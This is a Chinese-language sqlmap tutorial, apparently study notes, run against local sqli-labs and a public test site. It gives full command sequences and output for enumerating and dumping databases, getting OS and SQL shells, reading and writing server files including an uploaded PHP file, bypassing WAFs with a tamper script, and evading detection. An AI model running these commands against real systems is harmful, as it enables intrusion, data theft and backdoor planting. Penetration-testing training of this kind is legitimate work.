!!!SQLmap
上边的都可以不会,这个东西必须要会啊~~
sqlmap下载地址(python3)
https://github.com/sqlmapproject/sqlmap
sqlmap是一款基于python编写的渗透测试工具,在sql检测和利用方面功能强大,支持多种数据库。
欢迎使用ONE-FOX安全团队发布的贺岁工具箱内测版,祝您使用愉快~
百度网盘链接:https://pan.baidu.com/s/1HsHU-JuEfIs--7ZuYLYFmw?pwd=ofox
sqlmap架构
#参考文章:https://www.freebuf.com/sectool/321598.html
#重点文件夹及文件
sqlmap/lib/
sqlmap/tamper/
sqlmap/sqlmap.conf
sqlmap/sqlmap.py
sqlmap/sqlmapapi.py
相关知识点
数据猜解-库表列数据&字典
权限操作-文件&命令&交互式
提交方法-POST&HEAD&JSON
绕过模块-Tamper脚本-使用&开发
分析拓展-代理&调试&指纹&风险&等级
#参考:
https://www.cnblogs.com/bmjoker/p/9326258.html
https://wiki.wgpsec.org/knowledge/tools/sqlmap.html
https://blog.youkuaiyun.com/qq_45751902/article/details/127517553
#测试地址
http://testphp.vulnweb.com/login.php
http://192.168.5.1:81/Less-2/ #sqllib
#sqlmap常用流程
--dbs
--current-db
--tables -D ""
--columns -T "" -D ""
--dump -C "" -T "" -D ""
--privileges
--os-shell
#sqlmap常用参数
--random-agent #随机user-agent
--level=(1-5) #要执行的测试水平等级,默认为1
--proxy "http://xx:xx" #代理注入
-v=(0-6) #详细的等级(0-6)分析调试
--tamper=test.py #绕过模块
--is-dba
--privileges#权限相关
--file-read --file-write --file-dest #文件相关
--os-cmd= --os-shell --sql-shell #命令相关
--batch #自动选择
--dbms #指定数据库类型
--os #指定系统类型
* -p #url注入位置,指定
-r xxx.txt #从文件中加载http请求
sqlmap通常搞只有两种一个是get型,一个是其他型。(post/head)
为什么说是其他类型呢,因为其它的操作都可以使用-r的这个参数完成
提交方法&权限操作
get类型
这边以sqllib为例,完成一次sqlmap的常用流程
python sqlmap.py -u "http://192.168.5.1:81/Less-2/index.php?id=1" --batch
python sqlmap.py -u "http://192.168.5.1:81/Less-2/index.php?id=1" --dbs
python sqlmap.py -u "http://192.168.5.1:81/Less-2/index.php?id=1" --current-db
python sqlmap.py -u "http://192.168.5.1:81/Less-2/index.php?id=1" --tables -D "security"
python sqlmap.py -u "http://192.168.5.1:81/Less-2/index.php?id=1" --columns -T "flag" -D "security"
python sqlmap.py -u "http://192.168.5.1:81/Less-2/index.php?id=1" --dump -C flag -T "flag" -D "security"
python sqlmap.py -u "http://192.168.5.1:81/Less-2/index.php?id=1" --dump -D "security"
#注意这条语句是下载security数据库的所有数据,这里制作演示,实际操作有重大法律风险
python sqlmap.py -u "http://192.168.5.1:81/Less-2/index.php?id=1" --is-dba
python sqlmap.py -u "http://192.168.5.1:81/Less-2/index.php?id=1" --os-shell
python sqlmap.py -u "http://192.168.5.1:81/Less-2/index.php?id=1" --batch
python sqlmap.py -u "http://192.168.5.1:81/Less-2/index.php?id=1" --dbs
available databases [14]:
[*] challenges
[*] damicms
[*] demo
[*] information_schema
[*] mysql
[*] niushop
[*] performance_schema
[*] pikachu
[*] root
[*] security
[*] showphp_com
[*] xhcms
[*] z-blog
[*] zzcms
下边几个都是sqlmap测试存在的注入类型,布尔,报错,延时,联合。
python sqlmap.py -u "http://192.168.5.1:81/Less-2/index.php?id=1" --current-db
#current database: 'security'
python sqlmap.py -u "http://192.168.5.1:81/Less-2/index.php?id=1" --tables -D "security"
python sqlmap.py -u "http://192.168.5.1:81/Less-2/index.php?id=1" --columns -T "flag" -D "security"
python sqlmap.py -u "http://192.168.5.1:81/Less-2/index.php?id=1" --dump -C flag -T "flag" -D "security"
这里吧flag.csv删除在运行下边的
python sqlmap.py -u "http://192.168.5.1:81/Less-2/index.php?id=1" --dump -D "security"
#注意这条语句是下载security数据库的所有数据,这里制作演示,实际操作有重大法律风险
python sqlmap.py -u "http://192.168.5.1:81/Less-2/index.php?id=1" --privileges
os-shell
必要条件
- 拥有网站的写入权限
- Secure_file_priv参数为空或者为指定路径。
- 知道网站的物理路径
- 高权限数据库用户
https://xz.aliyun.com/t/7942#toc-0 #os-shell原理
python sqlmap.py -u "http://192.168.5.1:81/Less-2/index.php?id=1" --os-shell
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
what do you want to use for writable directory?
[1] common location(s) ('C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2
please provide a comma separate list of absolute directory paths: F:\CC\phpstudy_pro\WWW\sqli-labs
#这里是网站的绝对路径,找一下搭建的环境。实战当中看有没有办法搞到路径
os-shell> whoami
#这个时候就可以下载cs或者msf的马子了,这里就不作演示了
其它类型
点击login,会发送到burp里面。将整个数据包保存为test.txt,存到sqlmap的目录下
注意如果已经知道注入点在哪里,直接就用*
号标注出来,更加方便注入。如果不知道,就默认就好。(为了方便延时直接加*号了)
#同样的流程
python sqlmap.py -r test.txt --level 3 --random-agent --time-sec 1 --batch
python sqlmap.py -r test.txt --current-db --level 3 --random-agent --time-sec 2 --batch
python sqlmap.py -r test.txt --tables -D "acuart" --level 3 --random-agent --time-sec 2 --batch
python sqlmap.py -r test.txt --columns -T users -D "acuart" --level 3 --random-agent --time-sec 2 --batch
python sqlmap.py -r test.txt --dump -C "uname" -T users -D "acuart" --level 3 --random-agent --time-sec 2 --batch
python sqlmap.py -r test.txt --dump -D "acuart" --level 3 --random-agent --time-sec 2 --batch
#下载acuart数据库全部内容
python sqlmap.py -r test.txt --is-dba --level 3 --random-agent --time-sec 2 --batch
python sqlmap.py -r test.txt --privileges --level 3 --random-agent --time-sec 2 --batch
#没权限os-shell,但是可以sql-shell
python sqlmap.py -r test.txt --sql-shell --level 3 --random-agent --time-sec 2 --batch
python sqlmap.py -r test.txt --level 3 --random-agent --time-sec 1 --batch
#--random-agent 随即请求头 --time-sec 1 请求间隔
sqlmap.py -r test.txt --current-db --level 3 --random-agent --time-sec 2 --batch
#current database: 'acuart'
python sqlmap.py -r test.txt --tables -D "acuart" --level 3 --random-agent --time-sec 2 --batch
python sqlmap.py -r test.txt --columns -T users -D "acuart" --level 3 --random-agent --time-sec 2 --batch
python sqlmap.py -r test.txt --dump -C "uname" -T users -D "acuart" --level 3 --random-agent --time-sec 2 --batch
python sqlmap.py -r test.txt --dump -D "acuart" --level 3 --random-agent --time-sec 2 --batch
python sqlmap.py -r test.txt --is-dba --level 3 --random-agent --time-sec 2 --batch
python sqlmap.py -r test.txt --privileges --level 3 --random-agent --time-sec 2 --batch
没权限执行不了os-shell,但是可以执行sql-shell
sql-shell
-
拥有网站的写入权限
-
Secure_file_priv参数为空或者为指定路径。
-
高权限数据库用户
-
查看php是否开启魔术引导
(注意这个地方在复现CVE-2016-5734时,有提到过magic_quotes_gpc的php函数)
python sqlmap.py -r test.txt --sql-shell --level 3 --random-agent --time-sec 2 --batch
sql-shell> database();
sql-shell> select @@datadir; #文件路径
sql-shell> select @@version; #查看版本
sql-shell> select @@secure_file_priv; # 高版本只允许操作secure_file_priv变量指定目录下的文件
https://blog.youkuaiyun.com/qq_45751902/article/details/127517553
文件上传&文件读取
这里用sqllib演示。那个在线网站没有权限写不进去。
1、数据库用户权限,需要root权限
2、secure-file-priv设置
3、读取/上传文件
python sqlmap.py -u "http://192.168.5.1:81/Less-2/index.php?id=1" --file-read "F:\\test.txt" --level=3 --time-sec=2 --batch
python sqlmap.py -u "http://192.168.5.1:81/Less-2/index.php?id=1" --file-write "C:\Users\86184\Desktop\miansha1.php" --file-dest "F:\CC\phpstudy_pro\WWW\sqli-labs\miansha1.php" --level=3 --time-sec=2 --batch
#这个地方要知道网站的绝对路径
#--file-write "本地文件" --file-dest "远程文件"
#当不知道绝对路,直接进行上传的时候
python sqlmap.py -u "http://192.168.5.1:81/Less-2/index.php?id=1" --file-write "C:\Users\86184\Desktop\miansha1.php" --file-dest "miansha3.php" --level=3 --time-sec=2 --batch
这个路径是没有办法加载的。
绕过模块(tamper)
python sqlmap.py -u "https://url?id=MQ==" --tamper="base64encode.py" --level=3 --time-sec=2 --batch
#文章参考:
https://blog.youkuaiyun.com/qq_44159028/article/details/119111707
https://www.cnblogs.com/Cl0ud/p/14394627.html
#例子:
--tamper=base64encode.py
--tamper=test.py
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
if payload:
payload = payload.replace('SELECT','sElEct')
payload = payload.replace('OR','Or')
payload = payload.replace('AND','And')
payload = payload.replace('SLEEP','SleeP')
payload = payload.replace('ELT','Elt')
return payload
分析拓展
-v参数调试
删除本地记录的在操作
python sqlmap.py -u "http://192.168.5.1:81/Less-2/index.php?id=1" --level=3 --time-sec=2 -v 3 --batch
会看到执行payload
这样虽然比较全,但是不利于直接观看payload。
burp代理调试
这里代理进行调试
python sqlmap.py -u "http://192.168.5.1:81/Less-2/index.php?id=1" --level=3 --time-sec=2 --proxy="http://127.0.0.1:8080" --batch
#proxy这里是写burp的监听地址
#本身进行的http的操作所以burp能抓到
这里进行单个抓取,会发现sqlmap在地址中在尝试。
同样我们发现在ua头中是有显示sqlmap这个特征。
指纹特征
关于这个点,使用之前用过的–random-agent参数就可以解决这个问题。
下面加上参数,走全流量看看。会发现已经修改了。
Sqlmap在进行初始监测时会进行一些预检测,当我们仔细看第一个执行的payload,到底执行的什么?
https://blog.youkuaiyun.com/asaotomo/article/details/121685080
clash代理
在实际过程中可能有waf,这个是一个简单的例子。后续会跟新代理池相关
3clash配合渗透使用技巧.pdf
https://mp.weixin.qq.com/s/oUQdPNgVspk1u2l5La1DBw
https://www.cnblogs.com/backlion/p/16879485.html
https://0xf4n9x.github.io/2022/10/20/clash-unauth-force-configs-csrf-rce/
python sqlmap.py -r test.txt --dbs --level 3 --random-agent --time-sec 2 -- proxy="http://127.0.0.1:8080" --tamper="base64encode.py" --batch